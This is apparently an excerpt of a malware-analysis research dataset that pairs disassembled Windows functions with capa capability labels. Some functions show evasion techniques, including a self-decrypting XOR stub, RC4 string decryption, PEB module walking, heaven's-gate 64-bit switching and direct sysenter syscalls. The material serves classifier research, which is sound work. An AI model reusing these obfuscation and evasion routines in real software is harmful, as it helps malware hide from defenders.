joyce8/EMBER2024-capa huggingface dataset:
Function at 0x461fe8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x461fff
add esp, 0xfffffff0
call fcn.004035a4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a2dc
mov eax, dword [0x4681cc]
cmp word [eax + 2], 0
jne 0x462027
mov eax, dword [0x4681cc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004636c0
mov eax, dword [0x46827c]
cmp word [eax + 2], 0
jne 0x462041
mov eax, dword [0x46827c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004638b8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411bf4]
call fcn.00403250
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411bf4]
call fcn.00403250
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41c860]
call fcn.004241f4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4621c8
mov eax, dword [0x4680e4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004245c4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x463e58
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4680e4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c734
test eax, eax
je 0x462136
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408898
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c75c
test eax, eax
je 0x46214a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404240
mov eax, dword [0x467fbc]
cmp byte [eax], 0
jne 0x46217e
mov eax, ebx
call fcn.004622f0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00464034
mov eax, ebx
call fcn.004649f8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4621be
call fcn.004035fc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462570
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x469bb8]
cmp dword [eax + 0x30], 0
je 0x46261a
cmp dword [ebx + 0x94], 0
jne 0x462614
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x462500
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x462614
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4625da
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x462614
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004140e8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4625e9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x46317c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4631b1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004040c0
jmp 0x4631be
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404024
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x464210
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x464251
mov eax, esi
call fcn.00449a5c
test al, al
je 0x464251
mov eax, dword [ebx + 0x84]
call fcn.00449758
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x464251
push 0
mov eax, dword [ebx + 0x84]
call fcn.00449758
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401730
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40177b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x40176b
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x401751
jmp 0x401770
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x4017cb
mov edi, edx
lea ecx, [edi + 2]
jmp 0x401790
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401790
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x4017ac
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402840
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4017ed
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x401860
mov esi, dword [ebx]
cmp esi, ebx
je 0x401860
test esi, esi
je 0x401860
cmp word [esi + 0x24], 2
jbe 0x40185a
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x40185a
cmp dword [esi + 0x18], 0
je 0x40185a
test ebp, ebp
je 0x401815
cmp ebp, eax
jne 0x40185a
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402840
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40183a
cmp eax, dword [esi + 0x18]
jne 0x40185a
cmp dword [esp + 0x10], 0
je 0x40186d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004024a0
add esp, 8
test eax, eax
je 0x40186d
mov esi, dword [esi]
cmp esi, ebx
jne 0x4017f3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x402500
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x803b48
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x402629
cmp dword fs:[0xc0], eax
je 0x40252b
mov dword [0x803b44], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x803a2c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x803a30], eax
movzx edx, word [esi + 0xac]
mov dword [0x803a34], edx
mov eax, dword [esi + 0xb0]
mov dword [0x803a38], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40258b
push 0x7f
push eax
push 0x803a3c
call fcn.00402840
mov edx, dword [0x803a34]
add esp, 0xc
jmp 0x402593
xor eax, eax
mov word [0x803a3c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x803b3c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x803b3e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x803b40], ax
mov ecx, eax
mov byte [0x803b42], 0
cmp byte [0x7ffe0268], 0
je 0x4025da
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x803b42], bl
cmp ebx, 1
pop ebx
jne 0x4025f4
and ecx, 0xffef
mov word [0x803b40], cx
test edx, edx
jne 0x402629
call fcn.00402500
cmp dword [0x803a2c], 6
ja 0x402629
jb 0x402611
cmp dword [0x803a30], 4
jae 0x402629
call fcn.00402500
cmp dword [0x803a2c], 0xa
jae 0x402629
mov dword [0x803a34], 1
ret
Function at 0x402630
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x803a08]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x4027dd
cmp dword [0x803a0c], 0
jne 0x4027c9
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.00403e90
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x402680
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41d0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x402690
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41d0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x4026c5
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00403e90
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402724
sub edx, esi
sar edx, 1
je 0x4027dd
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402740
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x4027dd
xor eax, eax
push ebx
test edx, edx
je 0x402778
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x402778
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x402761
xor eax, eax
test edx, edx
je 0x402792
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x402792
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402780
xor eax, eax
test edx, edx
je 0x4027af
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4027af
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4027a0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x803a08]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x4028a0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x4028c8
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x4028d6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x4028ef
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x4028fd
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x402916
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x402924
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x40293d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x40294b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x402992
add dword [esp], 5
retf
Function at 0x403270
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x4032cb
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x403290
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x4032ac
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402840
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4032ed
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x40335f
mov esi, dword [ebx]
cmp esi, ebx
je 0x40335f
test esi, esi
je 0x40335f
cmp word [esi + 0x24], 2
jbe 0x403359
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x403359
cmp dword [esi + 0x18], 0
je 0x403359
test ebp, ebp
je 0x403315
cmp ebp, eax
jne 0x403359
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402840
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40333a
cmp edx, dword [esi + 0x18]
jne 0x403359
cmp dword [esp + 0x14], eax
je 0x40336c
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004024a0
add esp, 8
test eax, eax
je 0x40336c
mov esi, dword [esi]
cmp esi, ebx
jne 0x4032f3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x403950
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x8045b0]
sub esp, 0x11c
test eax, eax
jne 0x403a4e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.00403e90
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x4039a0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41d100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x4039b0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41d104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x4039e5
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00403270
pop edi
pop esi
pop ebx
test eax, eax
je 0x403a49
mov eax, dword [eax + 0x18]
test eax, eax
je 0x403a49
mov dword [0x8045b0], eax
add esp, 0x11c
ret
mov eax, dword [0x8045b0]
add esp, 0x11c
ret
Function at 0x41c8c2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x40bfc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40bfe9
jl 0x40bfe0
test edi, edi
jne 0x40bfe9
xor eax, eax
xor edx, edx
jmp 0x40c0aa
cmp dword [ebx + 0x38], 0
je 0x40bffe
push eax
push edi
push dword [ebp + 8]
call fcn.0040c0b0
jmp 0x40c0aa
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40c045
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40c045
cmp eax, edi
jb 0x40c01f
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040d840
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40c04b
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40c09f
mov ecx, ebx
call fcn.0040b85f
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40c08a
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.004182e6
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40c09f
jmp 0x40c05d
test edx, edx
je 0x40c09f
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.004182e6
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40d68b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40d6ca
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d6ca
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d6ca
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40d6ca
cmp dword [ecx + 0x74], 0xe
jbe 0x40d6ca
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4200f2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x431610
push 0x431608
push str.FlsAlloc
push 0x1e
call fcn.0041ff5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x420126
push dword [ebp + 8]
mov ecx, esi
call dword [0x42d130]
call esi
jmp 0x42012c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x420170
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x431620
push 0x431618
push str.FlsGetValue
push 0x20
call fcn.0041ff5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4201a7
push dword [ebp + 8]
mov ecx, esi
call dword [0x42d130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x42218c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421ffd

Function at 0x422586
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040d7f0
mov eax, dword [0x43b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041f96b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4225c8
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x422724
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042c0f0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43ca98]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00423563
mov ecx, dword [esi*4 + 0x43ca98]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x42271d
cmp eax, dword [edi + ecx + 0x24]
jne 0x42271d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42271d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00423563
add esp, 0x14
test edx, edx
jl 0x42271d
jg 0x422693
test eax, eax
jb 0x42271d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42271d
jl 0x4226ad
cmp dword [ebp - 0x1008], eax
ja 0x42271d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4226cb
test ebx, ebx
je 0x422704
cmp ecx, edi
jae 0x422704
mov al, byte [ecx]
cmp al, 0xd
jne 0x4226e5
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4226f1
cmp byte [ecx + 1], 0xa
jne 0x4226f1
inc ecx
jmp 0x4226f1
movzx eax, al
movsx eax, byte [eax + 0x43b308]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4226cb
cmp edx, ebx
jne 0x4226cb
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x422722
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040c901
leave
ret
Function at 0x422a1b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43ca98]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x422a5b
cmp byte [ebx], 0xa
jne 0x422a5b
or byte [eax + edi + 0x28], 4
jmp 0x422a60
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x422b5e
mov al, byte [edx]
cmp al, 0x1a
je 0x422b40
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x422a8f
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x422ab4
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x422abe
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x422a71
jmp 0x422b5e
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422b3b
cmp dword [ebp - 0xc], 0
je 0x422b3b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x43ca98]
test byte [eax + edi + 0x28], 0x48
je 0x422b15
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x422b00
mov byte [esi], dl
jmp 0x422b11
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43ca98]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x422b5e
cmp byte [ebp - 1], 0xa
jne 0x422b24
cmp esi, ebx
jne 0x422b24
mov byte [esi], 0xa
jmp 0x422b5d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00423581
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x422b5e
mov byte [esi], 0xd
jmp 0x422b5d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x43ca98]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x422b5a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x422b5e
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret